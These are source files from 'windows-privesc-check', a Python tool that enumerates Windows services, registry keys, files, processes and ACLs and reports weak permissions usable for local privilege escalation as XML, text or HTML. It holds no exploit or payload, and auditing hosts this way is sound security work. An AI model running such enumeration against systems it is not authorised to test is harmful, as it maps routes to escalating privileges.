| s = data[0] 148 | etree.SubElement(d, 'data').text = " %s (%s) runs as %s and has path: %s:\n" % (s.get_description(), s.get_name(), s.get_run_as(), s.get_exe_path()) 149 | 150 | elif data_name == 'service_domain_user': 151 | for data in self.get_supporting_data(data_name): 152 | s = data[0] 153 | etree.SubElement(d, 'data').text = " %s (%s) runs as %s\n" % (s.get_description(), s.get_name(), s.get_run_as()) 154 | 155 | elif data_name == 'service_no_exe': 156 | for data in self.get_supporting_data(data_name): 157 | s = data[0] 158 | etree.SubElement(d, 'data').text = " %s (%s) tries to run '%s' as %s\n" % (s.get_description(), s.get_name(), s.get_exe_path(), s.get_run_as()) 159 | 160 | elif data_name == 'service_dll': 161 | for data in self.get_supporting_data(data_name): 162 | s = data[0] 163 | r = data[1] 164 | f = data[2] 165 | etree.SubElement(d, 'data').text = " Service %s (%s) runs as %s: Regkey %s references %s which has weak file permissions (TODO how so?)\n" % (s.get_description(), s.get_name(), s.get_run_as(), r.get_name(), f.get_name()) 166 | 167 | elif data_name == 'regkey_ref_replacable_file': 168 | for data in self.get_supporting_data(data_name): 169 | keytype = data[0] 170 | name = data[1] 171 | clsid = data[2] 172 | f = data[3] 173 | r = data[4] 174 | etree.SubElement(d, 'data').text = " %s \"%s\" uses CLSID %s which references the following file with weak permissions: %s [defined in %s] - TODO how are perms weak?\n" % (type, name, clsid, f.get_name(), r.get_name()) 175 | 176 | elif data_name == 'regkey_ref_file': 177 | for data in self.get_supporting_data(data_name): 178 | r = data[0] 179 | v = data[1] 180 | f = data[2] 181 | etree.SubElement(d, 'data').text = " %s references %s which has weak permissions. TODO weak how?\n" % (r.get_name() + "\\" + v, f.get_name()) 182 | 183 | elif data_name == 'sectool_services': 184 | for data in self.get_supporting_data(data_name): 185 | s = data[0] 186 | etree.SubElement(d, 'data').text = " %s (%s) runs '%s' as %s\n" % (s.get_description(), s.get_name(), s.get_exe_path(), s.get_run_as()) 187 | 188 | elif data_name == 'sectool_files': 189 | for data in self.get_supporting_data(data_name): 190 | f = data[0] 191 | etree.SubElement(d, 'data').text = " %s\n" % (f.get_name()) 192 | 193 | elif data_name == 'file_read': 194 | for data in self.get_supporting_data(data_name): 195 | f = data[0] 196 | u = data[1] 197 | etree.SubElement(d, 'data').text = " %s can be read by %s\n" % (f.get_name(), u.get_fq_name()) 198 | 199 | elif data_name == 'process_exe': 200 | for data in self.get_supporting_data(data_name): 201 | p = data[0] 202 | etree.SubElement(d, 'data').text = " Process ID %s (%s) as weak permissions. TODO: Weak how?\n" % (p.get_pid(), p.get_exe().get_name()) 203 | 204 | elif data_name == 'user_powerful_priv': 205 | for data in self.get_supporting_data(data_name): 206 | u = data[0] 207 | etree.SubElement(d, 'data').text = " %s\n" % (u.get_fq_name()) 208 | 209 | elif data_name == 'group_powerful_priv': 210 | for data in self.get_supporting_data(data_name): 211 | u = data[0] 212 | etree.SubElement(d, 'data').text = " %s\n" % (u.get_fq_name()) 213 | 214 | elif data_name == 'share_perms': 215 | for data in self.get_supporting_data(data_name): 216 | s = data[0] 217 | u = data[1] 218 | etree.SubElement(d, 'data').text = " Share %s (%s) is accessible by %s\n" % (s.get_name(), s.get_description(), u.get_fq_name()) 219 | 220 | elif data_name == 'writable_eventlog_dll' or data_name == 'writable_eventlog_file': 221 | for data in self.get_supporting_data(data_name): 222 | s = data[0] 223 | f = data[1] 224 | etree.SubElement(d, 'data').text = " Registry key %s refers to replaceable file %s TODO print file perms?\n" % (s.get_name(), f.get_name()) 225 | 226 | elif data_name == 'drive_and_fs_list': 227 | for data in self.get_supporting_data(data_name): 228 | drive = data[0] 229 | etree.SubElement(d, 'data').text = " Drive %s has %s filesystem\n" % (drive.get_name(), drive.get_fs()) 230 | 231 | elif data_name == 'dir_add_file': 232 | for data in self.get_supporting_data(data_name): 233 | drive = data[0] 234 | a = data[1] 235 | etree.SubElement(d, 'data').text = " Drive %s allows %s to add files\n" % (drive.get_name(), a.get_principal().get_fq_name()) 236 | 237 | elif data_name == 'dir_add_dir': 238 | for data in self.get_supporting_data(data_name): 239 | drive = data[0] 240 | a = data[1] 241 | etree.SubElement(d, 'data').text = " Drive %s allows %s to add directories\n" % (drive.get_name(), a.get_principal().get_fq_name()) 242 | 243 | elif data_name == 'process_dll': 244 | for data in self.get_supporting_data(data_name): 245 | p = data[0] 246 | dll = data[1] 247 | if p.get_exe(): 248 | exe = p.get_exe().get_name() 249 | else: 250 | exe = "[unknown]" 251 | etree.SubElement(d, 'data').text = " Process ID %s (%s) uses DLL %s. DLL has weak permissions. TODO: Weak how?\n" % (p.get_pid(), p.get_exe().get_name(), dll.get_name()) 252 | 253 | elif data_name == 'process_perms': 254 | for data in self.get_supporting_data(data_name): 255 | p = data[0] 256 | perms = data[1] 257 | if p.get_exe(): 258 | exe = p.get_exe().get_name() 259 | else: 260 | exe = "[unknown]" 261 | etree.SubElement(d, 'data').text = " Process ID %s (%s) has weak process-level permissions: %s\n" % (p.get_pid(), exe, perms.as_text()) 262 | 263 | elif data_name == 'thread_perms': 264 | for data in self.get_supporting_data(data_name): 265 | t = data[0] 266 | perms = data[1] 267 | p = t.get_parent_process() 268 | if p and p.get_exe(): 269 | exe = p.get_exe().get_name() 270 | else: 271 | exe = "[unknown]" 272 | etree.SubElement(d, 'data').text = " Tread ID %s of Process ID %s (%s) has weak thread-level permissions: %s\n" % (t.get_tid(), p.get_pid(), exe, perms.as_text()) 273 | 274 | elif data_name == 'token_perms': 275 | for data in self.get_supporting_data(data_name): 276 | t = data[0] 277 | p = data[1] 278 | perms = data[2] 279 | if p and p.get_exe(): 280 | exe = p.get_exe().get_name() 281 | else: 282 | exe = "[unknown]" 283 | etree.SubElement(d, 'data').text = " An Access Token in Process ID %s (%s) or one of its threads has weak token-level permissions: %s\n" % (p.get_pid(), exe, perms.as_text()) 284 | 285 | elif data_name == 'writeable_dirs' or data_name == 'files_write_perms': 286 | for o in self.get_supporting_data(data_name): 287 | etree.SubElement(d, 'data').text = o.as_text() + "\n" 288 | #print "RETURNING: " + d 289 | return d 290 | 291 | def get_supporting_data(self, data_name): 292 | #print "data_name: " + data_name 293 | #print "keys: " + " ".join(self.supporting_data.keys()) 294 | if data_name in self.supporting_data.keys(): 295 | return self.supporting_data[data_name] 296 | else: 297 | return None 298 | 299 | def get_rendered_supporting_data(self, section): 300 | d = etree.Element('details') 301 | for data_name in wpc.conf.issue_template[self.get_id()]['supporting_data'].keys(): 302 | if wpc.conf.issue_template[self.get_id()]['supporting_data'][data_name]['section'] == section: 303 | if self.get_supporting_data(data_name): 304 | etree.SubElement(d, 'preamble').text = wpc.conf.issue_template[self.get_id()]['supporting_data'][data_name]['preamble'] + "\n\n" 305 | d.append(self.render_supporting_data(data_name)) 306 | return d 307 | 308 | def as_xml(self): 309 | r = etree.Element('issue') 310 | etree.SubElement(r, 'title').text = wpc.conf.issue_template[self.get_id()]['title'] 311 | s = etree.SubElement(r, 'section', type = 'description') 312 | etree.SubElement(s, 'body').text = wpc.conf.issue_template[self.get_id()]['description'] 313 | s.append(self.get_rendered_supporting_data('description')) 314 | s = etree.SubElement(r, 'section', type = 'recommendation') 315 | etree.SubElement(s, 'body').text = wpc.conf.issue_template[self.get_id()]['recommendation'] 316 | s.append(self.get_rendered_supporting_data('recommendation')) 317 | return r 318 | 319 | -------------------------------------------------------------------------------- /wpc/report/issueAcl.py: -------------------------------------------------------------------------------- 1 | # report.issue 2 | # report.fileAcl 3 | # report.serviceFileAcl 4 | # report.serviceAcl 5 | # report.shareAcl 6 | # report.dirAcl? 7 | # report.registryKeyAcl 8 | 9 | from wpc.acelist import acelist 10 | 11 | 12 | # This is a genric ACL that can be rendered in a report 13 | class issueAcl: 14 | def __init__(self, n, a): 15 | self.acelist = None 16 | self.name = None 17 | self.set_name(n) 18 | self.set_acelist(a) 19 | 20 | def set_acelist(self, aces): 21 | self.acelist = acelist() 22 | for ace in aces: 23 | self.acelist.add(ace) 24 | 25 | def set_name(self, n): 26 | self.name = n 27 | 28 | def get_name(self): 29 | return self.name 30 | 31 | def get_acelist(self): 32 | return self.acelist 33 | 34 | def as_text(self): 35 | t = '' 36 | for ace in self.get_acelist().get_aces(): 37 | t += self.get_name() + ":\n " + ace.as_text() + "\n" 38 | return t 39 | 40 | # TODO owner? -------------------------------------------------------------------------------- /wpc/report/issues.py: -------------------------------------------------------------------------------- 1 | from wpc.report.issue import issue 2 | import xml.etree.cElementTree as etree 3 | from lxml import etree as letree 4 | 5 | 6 | # TODO should this class contain info about the scan? or define a new class called report? 7 | # Version of script 8 | # Date, time of audit 9 | # Who the audit ran as (username, groups, privs) 10 | # ... 11 | class issues: 12 | def __init__(self): 13 | self.issues = [] 14 | 15 | def get_by_id(self, identifier): 16 | # search for issue 17 | for i in self.issues: 18 | if i.get_id() == identifier: 19 | return i 20 | 21 | # create new issue 22 | i = issue(identifier) 23 | self.add_issue(i) 24 | return i 25 | 26 | def add_issue(self, i): 27 | self.issues.append(i) 28 | 29 | def add_supporting_data(self, identifier, k, v): 30 | self.get_by_id(identifier).add_supporting_data(k, v) 31 | 32 | def get_all(self): 33 | return self.issues 34 | 35 | def as_xml_string(self): 36 | return etree.tostring(self.as_xml()) 37 | 38 | def as_xml(self): 39 | r = etree.Element('issues') 40 | for i in self.get_all(): 41 | r.append(i.as_xml()) 42 | return r 43 | 44 | def as_text(self): 45 | xslt_fh = open('xsl/text.xsl', 'r') # TODO need to be able to run from other dirs too! 46 | xslt_str = xslt_fh.read() 47 | xslt_fh.close() 48 | xslt_root = letree.XML(xslt_str) 49 | transform = letree.XSLT(xslt_root) 50 | return str(transform(letree.XML(self.as_xml_string()))) 51 | 52 | def as_html(self): 53 | xslt_fh = open('xsl/html.xsl', 'r') # TODO need to be able to run from other dirs too! 54 | xslt_str = xslt_fh.read() 55 | xslt_fh.close() 56 | xslt_root = letree.XML(xslt_str) 57 | transform = letree.XSLT(xslt_root) 58 | return str(transform(letree.XML(self.as_xml_string()))) 59 | -------------------------------------------------------------------------------- /wpc/report/report.py: -------------------------------------------------------------------------------- 1 | from wpc.report.issues import issues 2 | import xml.etree.cElementTree as etree 3 | from lxml import etree as letree 4 | import os.path 5 | import sys 6 | 7 | 8 | # A list of issues with some information about the scan 9 | class report(): 10 | def __init__(self): 11 | self.info = {} 12 | self.issues = issues() 13 | self.xsl_text = ''' 14 | 15 | 16 | 17 | 18 | 19 | 20 | ------------------------------------------------------------------ 21 | 22 | Title: 23 | 24 | 25 | 26 | [ ] 27 | 28 | 29 | 30 | 31 | True 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | True 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | ''' 73 | self.xsl_html = ''' 74 | 75 | 76 | 79 | 80 | 81 | 82 | 122 | 123 | 124 |
125 |

Windows Privilege Escalation Report

Audit of Host:

126 |
127 | 128 | 129 | 130 |

Contents

131 | 132 |

<a href="#"></a>

133 |
134 | 135 |

Information about this Audit

136 |

This report was generated on by version of windows-privesc-check.

137 |

The audit was run as the user .

138 |

The following table provides information about this audit:

139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 162 | 163 |
Hostname
Domain/Workgroup
Operating System ()
IP Addresses 158 |
    159 |
  • 160 |
161 |
164 | 165 | 166 |

Escalation Vectors

167 | 168 |
169 |

<a name=""></a>

170 | 171 | 172 | 173 | 176 | 180 | 181 | 182 |
174 | 175 | 177 |

178 | 179 |
183 | 184 |
185 |
186 | 187 | 188 |
189 | 190 | 191 |

192 | 193 |
    194 | 195 |
  • 196 |
    197 |
198 |
199 |
200 | 201 |
202 | ''' 203 | 204 | def get_issues(self): 205 | return self.issues 206 | 207 | def get_info_item(self, k): # key 208 | if k in self.info.keys(): 209 | #return (self.info[k]['type'], self.info[k]['value']) 210 | return self.info[k]['value'] 211 | return None 212 | 213 | def add_info_item(self, k, v): # key, value 214 | self.info[k] = {} 215 | self.info[k]['value'] = v 216 | #self.info[k]['type'] = t 217 | 218 | def get_info(self): 219 | return self.info 220 | 221 | def as_xml(self): 222 | # TODO: Top level version for XML schema 223 | # TODO: Raw data about object reported (files, service, etc.) 224 | r = etree.Element('report') 225 | s = etree.Element('scaninfo') 226 | for k in self.get_info().keys(): 227 | i = etree.Element(k) 228 | i.text = self.get_info_item(k) 229 | s.append(i) 230 | r.append(s) 231 | r.append(self.get_issues().as_xml()) 232 | return r 233 | 234 | def as_xml_string(self): 235 | return etree.tostring(self.as_xml()) 236 | 237 | def as_text(self): 238 | #if hasattr(sys, 'frozen'): 239 | # datafile = os.path.join(os.environ['_MEIPASS2'], 'text.xsl') 240 | #elif __file__: 241 | # datafile = os.path.join(os.path.dirname(__file__), '..', '..', 'xsl', 'text.xsl') 242 | #xslt_fh = open(datafile, 'r') 243 | #xslt_str = xslt_fh.read() # TODO fixme 244 | xslt_str = self.xsl_text 245 | #xslt_fh.close() 246 | xslt_root = letree.XML(xslt_str) 247 | transform = letree.XSLT(xslt_root) 248 | return str(transform(letree.XML(self.as_xml_string()))) 249 | 250 | # TODO duplicated lots of code from as_text 251 | def as_html(self): 252 | #if hasattr(sys, 'frozen'): 253 | # datafile = os.path.join(os.environ['_MEIPASS2'], 'html.xsl') 254 | #elif __file__: 255 | # datafile = os.path.join(os.path.dirname(__file__), '..', '..', 'xsl', 'html.xsl') 256 | #xslt_fh = open(datafile, 'r') 257 | #xslt_str = xslt_fh.read() # TODO fixme 258 | xslt_str = self.xsl_html 259 | #xslt_fh.close() 260 | xslt_root = letree.XML(xslt_str) 261 | transform = letree.XSLT(xslt_root) 262 | return str(transform(letree.XML(self.as_xml_string()))) 263 | -------------------------------------------------------------------------------- /wpc/sd.py: -------------------------------------------------------------------------------- 1 | from wpc.ace import ace 2 | from wpc.acelist import acelist 3 | from wpc.principal import principal 4 | import win32security 5 | import wpc.conf 6 | 7 | 8 | class sd(acelist): 9 | def __init__(self, type, secdesc): 10 | self.type = type 11 | self.sd = secdesc 12 | self.owner = None 13 | self.group = None 14 | self.owner_sid = None 15 | self.group_sid = None 16 | self.dacl = None 17 | self.acelist = None 18 | self.untrusted_owner = None 19 | 20 | def get_aces(self): 21 | if self.acelist == None: 22 | self.acelist = acelist() 23 | dacl = self.get_dacl() 24 | if dacl: # Some files will have no DACL - e.g. on HGFS file systems 25 | for ace_no in range(0, self.dacl.GetAceCount()): 26 | #print "[D] ACE #%d" % ace_no 27 | self.acelist.add(ace(self.get_type(), dacl.GetAce(ace_no))) 28 | return self.acelist.get_aces() 29 | 30 | def get_acelist(self): 31 | if self.acelist == None: 32 | self.get_aces() # side effect is defining self.acelist 33 | return self.acelist 34 | 35 | def get_type(self): 36 | return self.type 37 | 38 | def dangerous_as_text(self): 39 | s = "" 40 | 41 | o = self.get_owner() 42 | if o: 43 | s += "Owner: " + self.get_owner().get_fq_name() + "\n" 44 | else: 45 | s += "Owner: [none] \n" 46 | 47 | g = self.get_group() 48 | if g: 49 | s += "Group: " + self.get_group().get_fq_name() + "\n" 50 | else: 51 | s += "Group: [none] \n" 52 | 53 | for a in self.get_aces_dangerous(): 54 | s += a.as_text() + "\n" 55 | return s 56 | 57 | def dump(self): 58 | print self.as_text() 59 | 60 | def perms_for(self, principal): 61 | # TODO use all_perms above 62 | pass 63 | 64 | def dangerous_perms_for(self): 65 | pass 66 | 67 | def dangerous_perms_for_principal(self, principal): 68 | # TODO use dangerous_perms_write above 69 | pass 70 | 71 | def writable_by(self, principals): 72 | # TODO check parent dir? 73 | # TODO use dangerous_perms_write above 74 | pass 75 | 76 | def get_sd(self): 77 | return self.sd 78 | 79 | def get_dacl(self): 80 | if self.dacl == None: 81 | self.dacl = self.get_sd().GetSecurityDescriptorDacl() 82 | return self.dacl 83 | 84 | def get_owner(self): 85 | if not self.owner: 86 | owner_sid = self.get_owner_sid() 87 | if owner_sid: 88 | self.owner = principal(self.get_owner_sid()) 89 | else: 90 | self.owner = None 91 | return self.owner 92 | 93 | def get_group(self): 94 | if not self.group: 95 | group_sid = self.get_group_sid() 96 | if group_sid: 97 | self.group = principal(self.get_group_sid()) 98 | else: 99 | self.group = None 100 | return self.group 101 | 102 | def get_group_sid(self): 103 | if self.group_sid == None: 104 | self.group_sid = self.get_sd().GetSecurityDescriptorGroup() 105 | return self.group_sid 106 | 107 | def get_owner_sid(self): 108 | if self.owner_sid == None: 109 | self.owner_sid = self.get_sd().GetSecurityDescriptorOwner() 110 | return self.owner_sid 111 | 112 | def get_remote_server(self): 113 | return wpc.conf.remote_server 114 | 115 | def get_owner_string(self): 116 | owner_name, owner_domain, type = self.get_owner_tuple() 117 | return owner_domain + "\\" + owner_name 118 | 119 | def get_owner_name(self): 120 | if self.owner_name == None: 121 | self.owner_name = win32security.ConvertSidToStringSid(self.get_owner_sid) 122 | return self.owner_name 123 | 124 | def set_owner_name(self, name): 125 | self.owner_name = name 126 | 127 | def set_owner_domain(self, name): 128 | self.owner_domain = name 129 | 130 | def get_owner_tuple(self): 131 | owner_name, owner_domain, type = wpc.conf.cache.LookupAccountSid(self.get_remote_server(), self.get_owner_sid()) 132 | self.set_owner_name(owner_name) 133 | self.set_owner_domain(owner_domain) 134 | return owner_name, owner_domain, type 135 | 136 | def owner_is_untrusted(self): 137 | if not self.untrusted_owner: 138 | self.untrusted_owner = self.get_owner().is_trusted() ^ 1 # xor 139 | return self.untrusted_owner 140 | 141 | def as_text(self): 142 | return self._as_text(0) 143 | 144 | def untrusted_as_text(self): 145 | return self._as_text(1) 146 | 147 | def _as_text(self, flag): 148 | s = "--- start %s security descriptor ---\n" % self.get_type() 149 | o = self.get_owner() 150 | if o: 151 | s += "Owner: " + self.get_owner().get_fq_name() + "\n" 152 | else: 153 | s += "Owner: [none] \n" 154 | 155 | g = self.get_group() 156 | if g: 157 | s += "Group: " + self.get_group().get_fq_name() + "\n" 158 | else: 159 | s += "Group: [none] \n" 160 | for a in self.get_aces(): 161 | if flag: 162 | if not a.get_principal().is_trusted(): 163 | s += a.as_text() + "\n" 164 | else: 165 | s += a.as_text() + "\n" 166 | s += "--- end security descriptor ---\n" 167 | return s 168 | -------------------------------------------------------------------------------- /wpc/service.py: -------------------------------------------------------------------------------- 1 | from wpc.file import file as File 2 | from wpc.regkey import regkey 3 | from wpc.sd import sd 4 | import os 5 | import re 6 | import win32con 7 | import win32security 8 | import win32service 9 | import wpc.conf 10 | 11 | 12 | class service: 13 | def __init__(self, scm, short_name): 14 | self.scm = scm 15 | self.name = short_name 16 | self.sh = None # service handle 17 | self.sd = None # sd for service 18 | self.description = None 19 | self.type = None 20 | self.sh_read_control = None 21 | self.service_info = None 22 | self.service_config_failure_actions = None 23 | self.service_sid_type = None 24 | self.long_description = None 25 | self.exe_path = None # e.g. C:\Windows\system32\svchost.exe -k netsvcs 26 | self.exe_path_clean = None # e.g. C:\Windows\system32\svchost.exe 27 | self.exe_file = None # wpc.file for self.exe_path_clean 28 | self.status = None # started, stopped 29 | self.startup_type = None # auto, auto (delayed), manual, disabled 30 | self.run_as = None # wpc.user object for e.g. localsystem 31 | self.interactive = None # 0 or 1 32 | self.sh_query_status = None 33 | self.sh_query_config = None 34 | self.reg_key = None 35 | 36 | # We need different rights from the OpenService call for the different API calls we need to make 37 | # See http://msdn.microsoft.com/en-us/library/ms685981(v=vs.85).aspx 38 | # READ_CONTROL to call QueryServiceObjectSecurity 39 | # SERVICE_QUERY_STATUS for QueryServiceStatus 40 | # SERVICE_QUERY_CONFIG for QueryServiceConfig and QueryServiceConfig2 41 | # 42 | # We try to get a different handle for each. That way we only ask for what we need and should 43 | # get the maximum info about each service. 44 | 45 | def get_sh_query_config(self): 46 | if not self.sh_query_config: 47 | try: 48 | self.sh_query_config = win32service.OpenService(self.get_scm(), self.get_name(), win32service.SERVICE_QUERY_CONFIG) 49 | 50 | except: 51 | print "Service Perms: Unknown (Access Denied)" 52 | 53 | return self.sh_query_config 54 | 55 | def get_sh_query_status(self): 56 | if not self.sh_query_status: 57 | try: 58 | self.sh_query_status = win32service.OpenService(self.get_scm(), self.get_name(), win32service.SERVICE_QUERY_STATUS) 59 | except: 60 | pass 61 | return self.sh_query_status 62 | 63 | def get_sh_read_control(self): 64 | if not self.sh_read_control: 65 | try: 66 | self.sh_read_control = win32service.OpenService(self.get_scm(), self.get_name(), win32con.READ_CONTROL) 67 | except: 68 | pass 69 | return self.sh_read_control 70 | 71 | def get_status(self): 72 | if not self.status: 73 | try: 74 | s = win32service.QueryServiceStatus(self.get_sh_query_status()) 75 | self.status = s[1] 76 | if self.status == 1: 77 | self.status = "STOPPED" 78 | elif self.status == 4: 79 | self.status = "STARTED" 80 | except: 81 | pass 82 | return self.status 83 | 84 | def get_scm(self): 85 | return self.scm 86 | 87 | def get_sd(self): 88 | if not self.sd: 89 | # Need a handle with generic_read 90 | try: 91 | secdesc = win32service.QueryServiceObjectSecurity(self.get_sh_read_control(), win32security.OWNER_SECURITY_INFORMATION | win32security.DACL_SECURITY_INFORMATION) 92 | self.sd = sd('service', secdesc) 93 | except: 94 | print "ERROR: OpenService failed for '%s' (%s)" % (self.get_description(), self.get_name()) 95 | 96 | return self.sd 97 | 98 | def get_name(self): 99 | return self.name 100 | 101 | def get_exe_file(self): 102 | if not self.exe_file: 103 | filename = self.get_exe_path_clean() 104 | if filename: # might be None 105 | self.exe_file = File(filename) 106 | else: 107 | self.exe_file = None 108 | return self.exe_file 109 | 110 | def get_exe_path_clean(self): 111 | if not self.exe_path_clean: 112 | self.exe_path_clean = None 113 | binary_dirty = self.get_exe_path() 114 | 115 | # remove quotes and leading white space 116 | m = re.search('^[\s]*?"([^"]+)"', binary_dirty) 117 | if m and os.path.exists(m.group(1)): 118 | self.exe_path_clean = m.group(1) 119 | return self.exe_path_clean 120 | else: 121 | if m: 122 | binary_dirty = m.group(1) 123 | 124 | # Paths for drivers are written in an odd way, so we regex them 125 | re1 = re.compile(r'^\\systemroot', re.IGNORECASE) 126 | binary_dirty = re1.sub(os.getenv('SystemRoot'), binary_dirty) 127 | re2 = re.compile(r'^system32\\', re.IGNORECASE) 128 | binary_dirty = re2.sub(os.getenv('SystemRoot') + r'\\system32\\', binary_dirty) 129 | re2 = re.compile(r'^\\\?\?\\', re.IGNORECASE) 130 | binary_dirty = re2.sub('', binary_dirty) 131 | 132 | if os.path.exists(binary_dirty): 133 | self.exe_path_clean = binary_dirty 134 | return self.exe_path_clean 135 | 136 | chunks = binary_dirty.split(" ") 137 | candidate = "" 138 | for chunk in chunks: 139 | if candidate: 140 | candidate = candidate + " " 141 | candidate = candidate + chunk 142 | 143 | if os.path.exists(candidate) and os.path.isfile(candidate): 144 | self.exe_path_clean = candidate 145 | break 146 | 147 | if os.path.exists(candidate + ".exe") and os.path.isfile(candidate + ".exe"): 148 | self.exe_path_clean = candidate + ".exe" 149 | break 150 | 151 | if wpc.conf.on64bitwindows: 152 | candidate2 = candidate.replace("system32", "syswow64") 153 | if os.path.exists(candidate2) and os.path.isfile(candidate2): 154 | self.exe_path_clean = candidate2 155 | break 156 | 157 | if os.path.exists(candidate2 + ".exe") and os.path.isfile(candidate2 + ".exe"): 158 | self.exe_path_clean = candidate2 + ".exe" 159 | break 160 | return self.exe_path_clean 161 | 162 | def get_exe_path(self): 163 | if not self.exe_path: 164 | self.exe_path = self.get_service_info(3) 165 | return self.exe_path 166 | 167 | def get_run_as(self): 168 | if not self.run_as: 169 | self.run_as = self.get_service_info(7) 170 | return self.run_as 171 | 172 | def set_interactive(self, n): 173 | self.interactive = n 174 | 175 | # service or driver? 176 | def get_type(self): 177 | if not self.type: 178 | self.type = self.get_service_info(0) 179 | if not self.type == '[unknown]': 180 | if self.type & 0x100: 181 | self.type = self.type - 0x100 182 | self.set_interactive(1) 183 | else: 184 | self.set_interactive(0) 185 | 186 | if self.type == 1: 187 | self.type = "KERNEL_DRIVER" 188 | elif self.type == 2: 189 | self.type = "FILE_SYSTEM_DRIVER" 190 | elif self.type == 32: 191 | self.type = "WIN32_SHARE_PROCESS" 192 | elif self.type == 16: 193 | self.type = "WIN32_OWN_PROCESS" 194 | return self.type 195 | 196 | def get_startup_type(self): 197 | if not self.startup_type: 198 | self.startup_type = self.get_service_info(1) 199 | if self.startup_type == 2: 200 | self.startup_type = "AUTO_START" 201 | elif self.startup_type == 0: 202 | self.startup_type = "BOOT_START" 203 | elif self.startup_type == 3: 204 | self.startup_type = "DEMAND_START" 205 | elif self.startup_type == 4: 206 | self.startup_type = "DISABLED" 207 | elif self.startup_type == 1: 208 | self.startup_type = "SYSTEM_START" 209 | return self.startup_type 210 | 211 | def get_description(self): 212 | if not self.description: 213 | self.description = self.get_service_info(8) 214 | return self.description 215 | 216 | def get_service_info(self, n): 217 | if not self.service_info: 218 | try: 219 | self.service_info = win32service.QueryServiceConfig(self.get_sh_query_config()) 220 | except: 221 | pass 222 | 223 | if self.service_info: 224 | return self.service_info[n] 225 | else: 226 | return "[unknown]" 227 | 228 | def get_service_config_failure_actions(self): 229 | if not self.service_config_failure_actions: 230 | try: 231 | self.service_config_failure_actions = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_FAILURE_ACTIONS) 232 | except: 233 | pass 234 | if not self.service_config_failure_actions: 235 | self.service_config_failure_actions = "" 236 | return self.service_config_failure_actions 237 | 238 | def get_service_sid_type(self): 239 | if not self.service_sid_type: 240 | try: 241 | self.service_sid_type = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_SERVICE_SID_INFO) 242 | if self.service_sid_type == 0: 243 | self.service_sid_type = "SERVICE_SID_TYPE_NONE" 244 | if self.service_sid_type == 1: 245 | self.service_sid_type = "SERVICE_SID_TYPE_RESTRICTED" 246 | if self.service_sid_type == 2: 247 | self.service_sid_type = "SERVICE_SID_TYPE_UNRESTRICTED" 248 | except: 249 | pass 250 | return self.service_sid_type 251 | 252 | def get_long_description(self): 253 | if not self.long_description: 254 | try: 255 | self.long_description = win32service.QueryServiceConfig2(self.get_sh_query_config(), win32service.SERVICE_CONFIG_DESCRIPTION) 256 | except: 257 | pass 258 | if not self.long_description: 259 | self.long_description = "" 260 | return self.long_description 261 | 262 | def as_text(self): 263 | return self._as_text(0) 264 | 265 | def untrusted_as_text(self): 266 | return self._as_text(1) 267 | 268 | def _as_text(self, flag): 269 | t = "" 270 | t += "---------------------------------------\n" 271 | t += "Service: " + self.get_name() + "\n" 272 | t += "Description: " + self.get_description() + "\n" 273 | t += "Type: " + str(self.get_type()) + "\n" 274 | t += "Status: " + str(self.get_status()) + "\n" 275 | t += "Startup: " + str(self.get_startup_type()) + "\n" 276 | t += "Long Desc: " + self.removeNonAscii(self.get_long_description()) + "\n" # in case of stupid chars in desc 277 | t += "Binary: " + self.get_exe_path() + "\n" 278 | if self.get_exe_path_clean(): 279 | t += "Binary (clean): " + self.get_exe_path_clean() + "\n" 280 | else: 281 | t += "Binary (clean): [Missing Binary]\n" 282 | t += "Run as: " + self.get_run_as() + "\n" 283 | t += "Svc Sid Type: " + str(self.get_service_sid_type()) + "\n" 284 | t += "Failure Actions:%s\n" % self.get_service_config_failure_actions() 285 | t += "\n" 286 | t += "Service Security Descriptor:\n" 287 | if self.get_sd(): 288 | if flag: 289 | t += self.get_sd().untrusted_as_text() + "\n" 290 | else: 291 | t += self.get_sd().as_text() + "\n" 292 | else: 293 | t += "[unknown]\n" 294 | t += "\n" 295 | t += "Security Descriptor for Executable:" + "\n" 296 | if self.get_exe_file(): 297 | if flag: 298 | t += self.get_exe_file().get_sd().untrusted_as_text() + "\n" 299 | else: 300 | t += self.get_exe_file().get_sd().as_text() + "\n" 301 | else: 302 | t += "[unknown]\n" 303 | 304 | t += "Security Descriptor for Registry Key:" + "\n" 305 | if self.get_reg_key(): 306 | if flag: 307 | t += self.get_reg_key().get_sd().untrusted_as_text() 308 | else: 309 | t += self.get_reg_key().as_text() 310 | else: 311 | t += "[unknown]\n" 312 | 313 | t += "\n" 314 | return t 315 | return t 316 | 317 | def get_reg_key(self): 318 | if not self.reg_key: 319 | self.reg_key = regkey("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" + self.get_name()) 320 | return self.reg_key 321 | 322 | def removeNonAscii(self, s): 323 | return "".join(i for i in s if ord(i) < 128) -------------------------------------------------------------------------------- /wpc/services.py: -------------------------------------------------------------------------------- 1 | from wpc.service import service 2 | import win32service 3 | import wpc.conf 4 | 5 | 6 | class services: 7 | def __init__(self): 8 | self.scm = None 9 | self.type = win32service.SERVICE_WIN32 10 | self.services = [] 11 | self.get_services() 12 | 13 | def add(self, s): 14 | self.services.append(s) 15 | 16 | def get_type(self): 17 | return self.type 18 | 19 | def add_all(self): 20 | for s in win32service.EnumServicesStatus(self.get_scm(), self.get_type(), win32service.SERVICE_STATE_ALL): 21 | short_name = s[0] 22 | self.add(service(self.get_scm(), short_name)) 23 | 24 | def get_services(self): 25 | # populate self.services with a complete list of services if we haven't already 26 | if self.services == []: 27 | self.add_all() 28 | 29 | return self.services 30 | 31 | def get_scm(self): 32 | if not self.scm: 33 | self.scm = win32service.OpenSCManager(self.get_remote_server(), None, win32service.SC_MANAGER_ENUMERATE_SERVICE) 34 | return self.scm 35 | 36 | def get_remote_server(self): 37 | return wpc.conf.remote_server 38 | 39 | def get_services_by_user_perm(self, user, perm): 40 | # list of services that "user" can do "perm" to (e.g. start, reconfigure) 41 | pass 42 | 43 | def get_services_by_run_as(self, run_as): 44 | # list of wpc.service objects that run as "run_as" 45 | pass 46 | 